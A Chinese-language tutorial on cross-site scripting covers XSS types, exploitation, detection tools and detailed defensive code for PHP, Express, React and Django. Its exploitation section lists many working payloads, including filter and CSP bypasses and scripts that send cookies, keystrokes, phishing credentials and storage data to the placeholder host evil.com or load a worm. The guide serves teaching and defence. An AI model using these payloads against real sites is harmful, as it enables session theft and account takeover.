XSS漏洞完全指南 我将从原理、分类、利用到防御全面讲解XSS(跨站脚本攻击)漏洞。
一、XSS基本原理 什么是XSS? XSS(Cross-Site Scripting)是一种代码注入攻击,攻击者通过在目标网站注入恶意脚本代码(通常是JavaScript),当其他用户浏览该页面时,恶意代码会在受害者浏览器中执行。
为什么叫XSS而不是CSS? 为了与层叠样式表(Cascading Style Sheets, CSS)区分,使用XSS作为缩写。
核心原理 应用程序接收用户输入,并在未经充分验证或转义的情况下,将其直接输出到HTML页面中,导致浏览器将用户输入当作代码执行。
脆弱代码示例:
1 2 3 4 5 <?php $username = $_GET ['name' ];echo "欢迎, " . $username ;?>
正常访问:
1 2 https://example.com/welcome.php?name=张三 输出:欢迎, 张三
恶意攻击:
1 2 3 https://example.com/welcome.php?name=<script>alert('XSS')</script> 输出:欢迎, <script>alert('XSS')</script> 浏览器执行:弹出警告框
二、XSS类型详解 1. 反射型XSS(Reflected XSS) 特点:
非持久化攻击
恶意代码通过URL参数、表单提交等方式传递
需要诱骗用户点击特制链接
最常见的XSS类型
攻击流程:
1 2 3 4 1. 攻击者构造恶意URL 2. 诱骗受害者点击 3. 服务器返回包含恶意脚本的响应 4. 浏览器执行恶意脚本
示例场景:搜索功能
1 2 3 4 5 <?php $search = $_GET ['q' ];echo "搜索结果: " . $search ;?>
攻击payload:
1 2 https://example.com/search.php?q=<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
2. 存储型XSS(Stored XSS) 特点:
持久化攻击,最危险的XSS类型
恶意代码存储在服务器数据库中
每次用户访问包含恶意代码的页面都会触发
影响范围广,危害大
攻击流程:
1 2 3 4 5 1. 攻击者提交恶意内容到服务器 2. 服务器存储到数据库 3. 其他用户访问该页面 4. 服务器从数据库读取并显示恶意内容 5. 所有访问用户的浏览器都执行恶意脚本
示例场景:留言板
1 2 3 4 5 6 7 8 9 10 11 12 <?php $comment = $_POST ['comment' ];mysqli_query ($conn , "INSERT INTO comments (content) VALUES ('$comment ')" );$result = mysqli_query ($conn , "SELECT content FROM comments" );while ($row = mysqli_fetch_assoc ($result )) { echo "<div>" . $row ['content' ] . "</div>" ; } ?>
攻击payload:
1 2 3 4 5 <script > var img = new Image ();img.src = 'http://evil.com/log.php?cookie=' + document .cookie ; </script >
3. DOM型XSS(DOM-based XSS) 特点:
完全在客户端发生
不经过服务器处理
通过修改DOM环境触发
难以被传统WAF检测
攻击流程:
1 2 3 4 1. 恶意payload在URL中 2. 客户端JavaScript读取URL 3. 直接将内容插入DOM 4. 浏览器执行恶意代码
示例场景:
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html > <body > <div id ="content" > </div > <script > var name = window .location .hash .substring (1 );document .getElementById ('content' ).innerHTML = "欢迎, " + name;</script > </body > </html >
攻击URL:
1 https://example.com/page.html#<img src=x onerror=alert('XSS')>
4. 突变型XSS(mXSS) 特点:
利用浏览器解析差异
经过HTML净化器后仍能触发
非常罕见但危险
示例:
1 2 3 4 5 6 7 <noscript > <p title ="</noscript><img src=x onerror=alert('XSS')>" > <noscript > <p title ="</noscript> <img src=x onerror=alert('XSS')> " >
三、XSS利用技巧 基础Payload 1. 基本弹窗测试
1 2 3 4 <script > alert ('XSS' )</script > <script > alert (document .domain )</script > <script > alert (document .cookie )</script >
2. 事件处理器
1 2 3 4 5 6 7 8 9 10 11 <img src =x onerror =alert( 'XSS ')> <body onload =alert( 'XSS ')> <input onfocus =alert( 'XSS ') autofocus > <select onfocus =alert( 'XSS ') autofocus > <textarea onfocus =alert( 'XSS ') autofocus > <iframe onload =alert( 'XSS ')> <svg onload =alert( 'XSS ')> <video > <source onerror =alert( 'XSS ')> <audio src =x onerror =alert( 'XSS ')> <details open ontoggle =alert( 'XSS ')> <marquee onstart =alert( 'XSS ')>
3. 标签注入
1 2 3 4 5 6 <img src ="javascript:alert('XSS')" > <iframe src ="javascript:alert('XSS')" > <object data ="javascript:alert('XSS')" > <embed src ="javascript:alert('XSS')" > <a href ="javascript:alert('XSS')" > Click</a >
绕过技巧 1. 大小写混淆
1 2 <ScRiPt > alert ('XSS' )</sCrIpT > <IMG SRC =x OnErRoR =alert( 'XSS ')>
2. 编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 <img src =x onerror ="a l e r t ( ' X S S ' ) " > <img src =x onerror ="%61%6c%65%72%74%28%27%58%53%53%27%29" > <script > \u0061\u006c\u0065\u0072\u0074 ('XSS' ) </script > <iframe src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" > <img src =x onerror ="eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')" >
3. 空格和引号绕过
1 2 3 4 5 6 7 8 9 10 11 12 <img src =x onerror =`alert ('XSS ')`> <img/src=x/onerror=alert('XSS')> <img src =x onerror ="alert ('XSS')" ><img src =x onerror =alert( 'XSS ')>
4. 标签闭合绕过
1 2 3 4 5 "><script > alert ('XSS' )</script > '><script > alert ('XSS' )</script > </textarea > <script > alert ('XSS' )</script > </title > <script > alert ('XSS' )</script >
5. 过滤关键字绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script > eval ('al' +'ert("XSS")' )</script > <script > alert('XSS') </script > <script > prompt ('XSS' )</script > <script > confirm ('XSS' )</script > <script > eval ('alert("XSS")' )</script > <script > Function ('alert("XSS")' )();</script > <script > throw /XSS/ .source </script > <script > eval (`alert\x28'XSS'\x29` )</script >
6. 长度限制绕过
1 2 3 4 5 6 7 <script src =//xss.ht > </script > <svg/onload=alert(1)> <script > eval (name)</script >
高级利用技术 1. Cookie窃取
1 2 3 4 5 6 7 <script > document .location ='http://evil.com/steal.php?c=' +document .cookie ;</script > <script > new Image ().src ='http://evil.com/log.php?c=' +encodeURIComponent (document .cookie );</script >
2. 键盘记录
1 2 3 4 5 6 7 <script > document .onkeypress = function (e ) { var key = e.key || String .fromCharCode (e.keyCode ); new Image ().src = 'http://evil.com/log.php?key=' + key; }; </script >
3. 钓鱼攻击
1 2 3 4 <script > document.body.innerHTML = '<h1 > 会话过期</h1 > <form action ="http://evil.com/phish.php" method ="post" > 用户名: <input name ="user" > <br > 密码: <input type ="password" name ="pass" > <br > <input type ="submit" value ="重新登录" > </form > '; </script >
4. 会话劫持
1 2 3 4 5 6 7 8 9 10 11 <script > fetch ('http://evil.com/capture' , { method : 'POST' , body : JSON .stringify ({ cookies : document .cookie , localStorage : localStorage , sessionStorage : sessionStorage }) }); </script >
5. 网页篡改
1 2 3 4 <script > document .body .innerHTML = '<h1>网站已被黑客控制!</h1>' ;</script >
6. 蠕虫传播(存储型XSS)
1 2 3 4 5 6 7 8 9 <script > var payload = '<script src="http://evil.com/worm.js"><\/script>' ;fetch ('/api/comment' , { method : 'POST' , body : JSON .stringify ({content : payload}) }); </script >
7. AJAX劫持
1 2 3 4 5 6 7 8 9 <script > var originalOpen = XMLHttpRequest .prototype .open ;XMLHttpRequest .prototype .open = function (method, url ) { new Image ().src = 'http://evil.com/log.php?url=' + encodeURIComponent (url); return originalOpen.apply (this , arguments ); }; </script >
8. 浏览器漏洞利用
1 2 <script src ="http://evil.com/browser-exploit.js" > </script >
CSP绕过技术 1. 利用JSONP端点
1 2 <script src ="https://trusted-site.com/jsonp?callback=alert" > </script >
2. 利用AngularJS
1 2 3 {{constructor.constructor('alert(1)')()}} <div ng-app ng-csp > {{$eval.constructor('alert(1)')()}}</div >
3. Base URI绕过
1 2 <base href ="http://evil.com/" > <script src ="safe.js" > </script >
四、检测XSS漏洞 手工测试流程 1. 识别输入点
URL参数
表单字段
HTTP头(Referer, User-Agent等)
Cookie
WebSocket消息
2. 测试基本payload
1 2 3 <script > alert(1)</script > <img src =x onerror =alert(1) > <svg/onload=alert(1)>
3. 观察输出
检查HTML源码
查看是否被转义
确认上下文(标签内、属性内、JavaScript内等)
4. 构造上下文适配的payload
在HTML标签中:
1 2 3 输入: test 输出: <div > test</div > Payload: <img src =x onerror =alert(1) >
在标签属性中:
1 2 3 4 输入: test 输出: <input value ="test" > Payload: " onfocus=alert(1) autofocus=" 结果: <input value ="" onfocus =alert(1) autofocus ="" >
在JavaScript中:
1 2 3 4 5 输入: test 输出: <script > var name = 'test' ;</script > Payload: '; alert(1); // 结果: <script > var name = '' ; alert (1 ); </script >
在事件处理器中:
1 2 3 输入: test 输出: <div onclick ="goto('test')" > Payload: '); alert(1); //
自动化工具 1. XSStrike
1 python xsstrike.py -u "http://example.com/search?q=test"
2. Burp Suite
使用Intruder进行Fuzzing
XSS Validator插件
3. OWASP ZAP
4. XSSer
1 xsser --url "http://example.com/search?q=XSS" --auto
5. Dalfox
1 dalfox url http://example.com/search?q=FUZZ
五、XSS防御方法 1. 输出编码(最重要) HTML上下文编码
1 2 3 4 5 import htmlsafe_output = html.escape(user_input)
1 2 3 4 5 6 7 8 9 10 11 12 function escapeHtml (text ) { const map = { '&' : '&' , '<' : '<' , '>' : '>' , '"' : '"' , "'" : ''' , "/" : '/' }; return text.replace (/[&<>"'\/]/g , m => map[m]); }
1 2 echo htmlspecialchars ($user_input , ENT_QUOTES, 'UTF-8' );
1 2 3 import org.apache.commons.text.StringEscapeUtils;String safe = StringEscapeUtils.escapeHtml4(userInput);
JavaScript上下文编码
1 2 3 4 5 6 7 8 9 10 11 12 function escapeJs (text ) { return text.replace (/\\/g , '\\\\' ) .replace (/'/g , "\\'" ) .replace (/"/g , '\\"' ) .replace (/\n/g , '\\n' ) .replace (/\r/g , '\\r' ) .replace (/\t/g , '\\t' ); } var safeData = JSON .stringify (userInput);
URL编码
1 var safeUrl = encodeURIComponent (userInput);
CSS编码
1 2 3 4 5 function escapeCss (text ) { return text.replace (/[^a-zA-Z0-9]/g , function (match ) { return '\\' + match.charCodeAt (0 ).toString (16 ) + ' ' ; }); }
2. 上下文感知的输出 根据不同位置使用不同编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <div > {{htmlEncode(userInput)}}</div > <input value ="{{htmlAttributeEncode(userInput)}}" > <script > var data = ' {{jsEncode (userInput )}} '; </script > <a href ="{{urlEncode(userInput)}}" > Link</a > <style > .user-color { color : {{cssEncode(userInput)}}; }</style >
3. 输入验证 白名单验证:
1 2 3 4 5 6 7 8 9 10 11 12 13 import redef validate_username (username ): if not re.match (r'^[a-zA-Z0-9_]{3,20}$' , username): raise ValueError("无效的用户名" ) return username def validate_email (email ): pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' if not re.match (pattern, email): raise ValueError("无效的邮箱" ) return email
类型验证:
1 2 3 4 5 6 7 function validateAge (age ) { const numAge = parseInt (age, 10 ); if (isNaN (numAge) || numAge < 0 || numAge > 150 ) { throw new Error ('无效的年龄' ); } return numAge; }
4. 内容安全策略(CSP) HTTP头配置:
1 Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';
详细CSP指令:
1 2 3 4 5 6 7 8 9 10 11 # 基础策略 default-src 'self'; # 默认只允许同源 script-src 'self' 'nonce-{random}'; # 脚本源 + nonce style-src 'self' 'unsafe-inline'; # 样式源 img-src 'self' data: https:; # 图片源 font-src 'self' https://fonts.gstatic.com; # 字体源 connect-src 'self' https://api.example.com; # AJAX/WebSocket源 frame-ancestors 'none'; # 防止被iframe base-uri 'self'; # 限制<base>标签 form-action 'self'; # 表单提交目标 upgrade-insecure-requests; # 升级HTTP到HTTPS
使用nonce:
1 2 3 4 5 6 7 8 9 10 <meta http-equiv ="Content-Security-Policy" content ="script-src 'nonce-r4nd0m123'" > <script nonce ="r4nd0m123" > </script > <script > alert ('XSS' )</script >
报告模式(测试CSP):
1 Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
5. HTTPOnly Cookie 1 2 response.set_cookie('session' , value, httponly=True , secure=True , samesite='Strict' )
1 2 3 4 5 6 setcookie ("session" , $value , [ 'httponly' => true , 'secure' => true , 'samesite' => 'Strict' ]);
1 2 3 4 5 6 res.cookie ('session' , value, { httpOnly : true , secure : true , sameSite : 'strict' });
6. 使用安全的前端框架 React(自动转义):
1 2 3 4 5 6 7 8 9 function Welcome (props ) { return <div > {props.name}</div > ; } function DangerousComponent (props ) { return <div dangerouslySetInnerHTML ={{__html: props.html }} /> ; }
Vue.js(自动转义):
1 2 3 4 5 <div > {{ userInput }}</div > <div v-html ="userInput" > </div >
Angular(自动转义):
1 2 3 4 5 <div > {{userInput}}</div > <div [innerHTML ]="sanitizer.bypassSecurityTrustHtml(userInput)" > </div >
7. DOM操作安全 安全方式:
1 2 3 4 5 6 7 8 9 10 element.textContent = userInput; var div = document .createElement ('div' );div.textContent = userInput; document .body .appendChild (div);element.setAttribute ('data-value' , userInput);
危险方式(避免):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 element.innerHTML = userInput; document .write (userInput);eval (userInput);new Function (userInput)();setTimeout (userInput, 1000 );
8. 模板引擎安全配置 Jinja2(Python):
1 2 3 4 5 6 7 8 9 from jinja2 import Environment, select_autoescapeenv = Environment( autoescape=select_autoescape(['html' , 'xml' ]) ) {{ user_input }} { {{ user_input | safe }} {
Thymeleaf(Java):
1 2 3 4 5 <div th:text ="${userInput}" > </div > <div th:utext ="${userInput}" > </div >
EJS(Node.js):
1 2 3 4 5 <%= userInput %> <%- userInput %>
9. 富文本处理 使用DOMPurify:
1 2 3 4 5 6 7 8 9 10 11 import DOMPurify from 'dompurify' ;var clean = DOMPurify .sanitize (dirtyHtml);var clean = DOMPurify .sanitize (dirtyHtml, { ALLOWED_TAGS : ['b' , 'i' , 'em' , 'strong' , 'a' , 'p' ], ALLOWED_ATTR : ['href' ], ALLOW_DATA_ATTR : false });
服务端净化(Python):
1 2 3 4 5 6 7 8 9 10 11 from bleach import cleanallowed_tags = ['p' , 'br' , 'strong' , 'em' , 'a' ] allowed_attrs = {'a' : ['href' , 'title' ]} clean_html = clean( user_input, tags=allowed_tags, attributes=allowed_attrs, strip=True )
10. X-XSS-Protection头 1 X-XSS-Protection: 1; mode=block
注意:现代浏览器更推荐使用CSP,该头已逐渐被弃用。
11. 安全开发实践 代码审查清单:
✅ 所有用户输入都经过编码/转义 ✅ 根据输出上下文使用正确的编码方式 ✅ 永不使用innerHTML、eval、document.write处理用户输入 ✅ 配置CSP策略 ✅ Cookie设置HttpOnly和Secure标志 ✅ 使用现代框架的内置保护 ✅ 富文本编辑器使用白名单过滤 ✅ 定期安全扫描和渗透测试 ✅ 对开发团队进行安全培训 ✅ 使用安全的第三方库并及时更新
12. 纵深防御策略 1 2 3 4 5 6 7 8 9 输入层:验证和过滤 ↓ 处理层:使用安全API ↓ 输出层:上下文感知编码 ↓ 浏览器层:CSP、HttpOnly、SameSite ↓ 监控层:WAF、日志分析、异常检测
六、实战防御代码示例 完整的安全输出函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 class XSSProtection { static escapeHtml (str ) { const map = { '&' : '&' , '<' : '<' , '>' : '>' , '"' : '"' , "'" : ''' , '/' : '/' }; return String (str).replace (/[&<>"'/]/g , s => map[s]); } static escapeJs (str ) { return String (str) .replace (/\\/g , '\\\\' ) .replace (/'/g , "\\'" ) .replace (/"/g , '\\"' ) .replace (/\n/g , '\\n' ) .replace (/\r/g , '\\r' ) .replace (/\t/g , '\\t' ) .replace (/\x08/g , '\\b' ) .replace (/\f/g , '\\f' ); } static escapeUrl (str ) { return encodeURIComponent (str); } static escapeCss (str ) { return String (str).replace (/[^a-zA-Z0-9]/g , match => { return '\\' + match.charCodeAt (0 ).toString (16 ).padStart (6 , '0' ); }); } static safeSetText (element, text ) { element.textContent = text; } static safeSetHtml (element, html ) { element.innerHTML = DOMPurify .sanitize (html); } } const userInput = '<script>alert("XSS")</script>' ;document .getElementById ('output' ).textContent = userInput;document .getElementById ('output' ).innerHTML = XSSProtection .escapeHtml (userInput);const jsCode = `var name = '${XSSProtection.escapeJs(userInput)} ';` ;const url = `https://example.com/search?q=${XSSProtection.escapeUrl(userInput)} ` ;
Express.js完整示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 const express = require ('express' );const helmet = require ('helmet' );const DOMPurify = require ('isomorphic-dompurify' );const validator = require ('validator' );const app = express ();app.use (helmet ()); app.use (helmet.contentSecurityPolicy ({ directives : { defaultSrc : ["'self'" ], scriptSrc : ["'self'" , "'nonce-{random}'" ], styleSrc : ["'self'" , "'unsafe-inline'" ], imgSrc : ["'self'" , "data:" , "https:" ], connectSrc : ["'self'" ], fontSrc : ["'self'" ], objectSrc : ["'none'" ], mediaSrc : ["'self'" ], frameSrc : ["'none'" ], baseUri : ["'self'" ], formAction : ["'self'" ] } })); function validateInput (req, res, next ) { const { username, email, comment } = req.body ; if (username && !validator.isAlphanumeric (username)) { return res.status (400 ).json ({ error : '用户名格式无效' }); } if (email && !validator.isEmail (email)) { return res.status (400 ).json ({ error : '邮箱格式无效' }); } if (comment && comment.length > 1000 ) { return res.status (400 ).json ({ error : '评论过长' }); } next (); } app.locals .escapeHtml = function (text ) { return validator.escape (text); }; app.post ('/comment' , validateInput, (req, res ) => { let { comment } = req.body ; comment = DOMPurify .sanitize (comment, { ALLOWED_TAGS : ['b' , 'i' , 'em' , 'strong' , 'p' , 'br' ], ALLOWED_ATTR : [] });
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 db.query ( 'INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())' , [req.session .userId , comment], (err, result ) => { if (err) { console .error ('数据库错误:' , err); return res.status (500 ).json ({ error : '服务器错误' }); } res.json ({ success : true , message : '评论发布成功' , commentId : result.insertId }); } ); }); app.get ('/comments' , (req, res ) => { db.query ('SELECT * FROM comments ORDER BY created_at DESC' , (err, results ) => { if (err) { return res.status (500 ).json ({ error : '服务器错误' }); } res.render ('comments' , { comments : results }); }); }); app.use (session ({ secret : 'your-secret-key' , cookie : { httpOnly : true , secure : true , sameSite : 'strict' , maxAge : 3600000 } })); app.listen (3000 );
React完整防御示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 import React , { useState, useEffect } from 'react' ;import DOMPurify from 'dompurify' ;function CommentList ( ) { const [comments, setComments] = useState ([]); const [newComment, setNewComment] = useState ('' ); const [error, setError] = useState ('' ); const validateComment = (text ) => { if (!text || text.trim ().length === 0 ) { return '评论不能为空' ; } if (text.length > 1000 ) { return '评论不能超过1000字符' ; } const dangerousPatterns = [ /<script/i , /javascript:/i , /on\w+=/i , /<iframe/i ]; for (let pattern of dangerousPatterns) { if (pattern.test (text)) { return '评论包含不允许的内容' ; } } return null ; }; const handleSubmit = async (e ) => { e.preventDefault (); const validationError = validateComment (newComment); if (validationError) { setError (validationError); return ; } try { const response = await fetch ('/api/comments' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' , 'X-CSRF-Token' : getCsrfToken () }, body : JSON .stringify ({ comment : newComment }) }); if (!response.ok ) { throw new Error ('提交失败' ); } const result = await response.json (); setComments ([result.comment , ...comments]); setNewComment ('' ); setError ('' ); } catch (err) { setError ('发布评论失败,请重试' ); } }; useEffect (() => { fetch ('/api/comments' ) .then (res => res.json ()) .then (data => setComments (data)) .catch (err => console .error ('加载评论失败:' , err)); }, []); return ( <div className ="comment-section" > <h2 > 评论区</h2 > {/* 评论表单 */} <form onSubmit ={handleSubmit} > <textarea value ={newComment} onChange ={(e) => setNewComment(e.target.value)} placeholder="写下你的评论..." maxLength={1000} /> {error && <div className ="error" > {error}</div > } <button type ="submit" > 发布评论</button > </form > {/* 评论列表 */} <div className ="comments" > {comments.map(comment => ( <Comment key ={comment.id} data ={comment} /> ))} </div > </div > ); } function Comment ({ data } ) { return ( <div className ="comment" > <div className ="author" > {data.username}</div > <div className ="content" > {data.content}</div > <div className ="time" > {formatTime(data.created_at)}</div > </div > ); } function RichComment ({ data } ) { const sanitizedContent = DOMPurify .sanitize (data.richContent , { ALLOWED_TAGS : ['b' , 'i' , 'em' , 'strong' , 'p' , 'br' , 'ul' , 'ol' , 'li' ], ALLOWED_ATTR : [] }); return ( <div className ="comment" > <div className ="author" > {data.username}</div > {/* 只在必要时使用dangerouslySetInnerHTML,且必须先净化 */} <div className ="content" dangerouslySetInnerHTML ={{ __html: sanitizedContent }} /> </div > ); } function getCsrfToken ( ) { return document .querySelector ('meta[name="csrf-token"]' )?.content ; } function formatTime (timestamp ) { return new Date (timestamp).toLocaleString ('zh-CN' ); } export default CommentList ;
Django完整防御示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware' , 'django.middleware.clickjacking.XFrameOptionsMiddleware' , ] SECURE_BROWSER_XSS_FILTER = True SECURE_CONTENT_TYPE_NOSNIFF = True X_FRAME_OPTIONS = 'DENY' CSP_DEFAULT_SRC = ("'self'" ,) CSP_SCRIPT_SRC = ("'self'" , "'nonce-{random}'" ) CSP_STYLE_SRC = ("'self'" , "'unsafe-inline'" ) CSP_IMG_SRC = ("'self'" , "data:" , "https:" ) SESSION_COOKIE_HTTPONLY = True SESSION_COOKIE_SECURE = True SESSION_COOKIE_SAMESITE = 'Strict' CSRF_COOKIE_HTTPONLY = True CSRF_COOKIE_SECURE = True from django.shortcuts import renderfrom django.http import JsonResponsefrom django.views.decorators.csrf import csrf_protectfrom django.utils.html import escape, strip_tagsimport bleachimport redef validate_input (max_length=1000 ): def decorator (view_func ): def wrapper (request, *args, **kwargs ): if request.method == 'POST' : content = request.POST.get('content' , '' ) if len (content) > max_length: return JsonResponse({ 'error' : f'内容不能超过{max_length} 字符' }, status=400 ) dangerous_patterns = [ r'<script' , r'javascript:' , r'on\w+\s*=' , r'<iframe' ] for pattern in dangerous_patterns: if re.search(pattern, content, re.IGNORECASE): return JsonResponse({ 'error' : '内容包含不允许的字符' }, status=400 ) return view_func(request, *args, **kwargs) return wrapper return decorator @csrf_protect @validate_input(max_length=1000 ) def create_comment (request ): if request.method == 'POST' : content = request.POST.get('content' , '' ) allowed_tags = ['b' , 'i' , 'em' , 'strong' , 'p' , 'br' ] allowed_attrs = {} clean_content = bleach.clean( content, tags=allowed_tags, attributes=allowed_attrs, strip=True ) comment = Comment.objects.create( user=request.user, content=clean_content ) return JsonResponse({ 'success' : True , 'comment' : { 'id' : comment.id , 'username' : escape(comment.user.username), 'content' : escape(comment.content), 'created_at' : comment.created_at.isoformat() } }) return JsonResponse({'error' : '无效的请求' }, status=400 ) def view_comments (request ): comments = Comment.objects.all ().order_by('-created_at' ) return render(request, 'comments.html' , { 'comments' : comments }) from django.db import modelsfrom django.contrib.auth.models import Userclass Comment (models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE) content = models.TextField(max_length=1000 ) created_at = models.DateTimeField(auto_now_add=True ) class Meta : ordering = ['-created_at' ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <!DOCTYPE html > <html > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <meta name ="csrf-token" content ="{{ csrf_token }}" > <title > 评论区</title > </head > <body > <div class ="comments-section" > <h2 > 评论区</h2 > <form id ="comment-form" method ="post" action ="{% url 'create_comment' %}" > {% csrf_token %} <textarea name ="content" maxlength ="1000" required placeholder ="写下你的评论..." > </textarea > <button type ="submit" > 发布评论</button > </form > <div class ="comments-list" > {% for comment in comments %} <div class ="comment" > <div class ="author" > {{ comment.user.username }}</div > <div class ="content" > {{ comment.content }}</div > <div class ="time" > {{ comment.created_at|date:"Y-m-d H:i" }}</div > </div > {% endfor %} </div > </div > <script nonce ="{{ csp_nonce }}" > document .getElementById ('comment-form' ).addEventListener ('submit' , function (e ) { e.preventDefault (); const formData = new FormData (this ); fetch (this .action , { method : 'POST' , body : formData, headers : { 'X-CSRFToken' : document .querySelector ('[name=csrfmiddlewaretoken]' ).value } }) .then (response => response.json ()) .then (data => { if (data.success ) { const commentDiv = document .createElement ('div' ); commentDiv.className = 'comment' ; const author = document .createElement ('div' ); author.className = 'author' ; author.textContent = data.comment .username ; const content = document .createElement ('div' ); content.className = 'content' ; content.textContent = data.comment .content ; commentDiv.appendChild (author); commentDiv.appendChild (content); document .querySelector ('.comments-list' ).prepend (commentDiv); this .reset (); } }) .catch (error => { console .error ('Error:' , error); alert ('发布评论失败,请重试' ); }); }); </script > </body > </html >
七、特殊场景防御 1. JSON API安全 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 app.get ('/api/user' , (req, res ) => { res.setHeader ('Content-Type' , 'application/json' ); res.setHeader ('X-Content-Type-Options' , 'nosniff' ); const user = { id : 123 , username : escapeHtml (userData.username ), email : escapeHtml (userData.email ) }; res.json (user); }); fetch ('/api/user' ) .then (response => { const contentType = response.headers .get ('content-type' ); if (!contentType || !contentType.includes ('application/json' )) { throw new TypeError ('响应不是JSON格式' ); } return response.json (); }) .then (data => { document .getElementById ('username' ).textContent = data.username ; });
2. WebSocket安全 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 const WebSocket = require ('ws' );const wss = new WebSocket .Server ({ port : 8080 });wss.on ('connection' , (ws, req ) => { const origin = req.headers .origin ; if (origin !== 'https://trusted-site.com' ) { ws.close (); return ; } ws.on ('message' , (message ) => { try { const data = JSON .parse (message); if (typeof data.content !== 'string' || data.content .length > 1000 ) { ws.send (JSON .stringify ({ error : '无效的消息' })); return ; } const cleanContent = DOMPurify .sanitize (data.content ); wss.clients .forEach (client => { if (client.readyState === WebSocket .OPEN ) { client.send (JSON .stringify ({ username : escapeHtml (data.username ), content : cleanContent })); } }); } catch (err) { ws.send (JSON .stringify ({ error : '消息格式错误' })); } }); }); const ws = new WebSocket ('wss://example.com:8080' );ws.onmessage = (event ) => { const data = JSON .parse (event.data ); const messageDiv = document .createElement ('div' ); messageDiv.textContent = `${data.username} : ${data.content} ` ; document .getElementById ('messages' ).appendChild (messageDiv); }; function sendMessage (content ) { ws.send (JSON .stringify ({ username : currentUser.username , content : content })); }
3. 文件上传安全 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 const multer = require ('multer' );const path = require ('path' );const storage = multer.diskStorage ({ destination : './uploads/' , filename : function (req, file, cb ) { const uniqueName = Date .now () + '-' + Math .random ().toString (36 ).substr (2 , 9 ); const ext = path.extname (file.originalname ); cb (null , uniqueName + ext); } }); const upload = multer ({ storage : storage, limits : { fileSize : 5 * 1024 * 1024 }, fileFilter : function (req, file, cb ) { const allowedTypes = ['image/jpeg' , 'image/png' , 'image/gif' ]; if (!allowedTypes.includes (file.mimetype )) { return cb (new Error ('不支持的文件类型' )); } const allowedExts = ['.jpg' , '.jpeg' , '.png' , '.gif' ]; const ext = path.extname (file.originalname ).toLowerCase (); if (!allowedExts.includes (ext)) { return cb (new Error ('不支持的文件扩展名' )); } cb (null , true ); } }); app.post ('/upload' , upload.single ('image' ), (req, res ) => { if (!req.file ) { return res.status (400 ).json ({ error : '请选择文件' }); } const safeFilename = path.basename (req.file .path ); res.json ({ success : true , url : `/uploads/${safeFilename} ` }); }); app.get ('/uploads/:filename' , (req, res ) => { const filename = path.basename (req.params .filename ); const filepath = path.join (__dirname, 'uploads' , filename); res.setHeader ('Content-Type' , 'application/octet-stream' ); res.setHeader ('Content-Disposition' , `attachment; filename="${filename} "` ); res.setHeader ('X-Content-Type-Options' , 'nosniff' ); res.sendFile (filepath); });
